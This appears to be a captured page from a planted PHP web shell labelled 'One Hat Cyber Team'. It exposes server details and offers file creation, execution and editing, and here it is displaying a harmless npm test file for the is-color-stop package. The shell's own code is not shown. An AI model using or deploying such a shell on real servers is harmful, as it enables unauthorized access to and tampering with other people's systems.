⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
is-color-stop
/
test
/
Edit File: index.test.js
'use strict'; const assert = require('assert'); const isColorStop = require('..'); describe('is-color-stop', function () { it('isColorStop', function () { assert.ok(isColorStop('yellow')); assert.ok(isColorStop('yellow', '12px')); assert.ok(!isColorStop('yellow', 'px')); assert.ok(isColorStop('yellow', 'calc(100%)')); }); it('isColor', function () { assert.ok(isColorStop.isColor('rgb(255, 255, 255)')); }); it('isRGB', function () { assert.ok(isColorStop.isRGB('rgb(255, 255, 255)')); }); it('isRGBA', function () { assert.ok(isColorStop.isRGBA('rgba(255, 255, 255, .9)')); }); it('isHSL', function () { assert.ok(isColorStop.isHSL('hsl(123, 45%, 67%)')); }); it('isHSLA', function () { assert.ok(isColorStop.isHSLA('hsla(123, 45%, 67%, .9)')); }); it('isHex', function () { assert.ok(isColorStop.isHex('#123456')); }); it('isCSSColorName', function () { assert.ok(isColorStop.isCSSColorName('yellow')); }); it('isTransparent', function () { assert.ok(isColorStop.isTransparent('transparent')); }); it('isCSSLengthUnit', function () { assert.ok(isColorStop.isCSSLengthUnit('px')); }); });
Simpan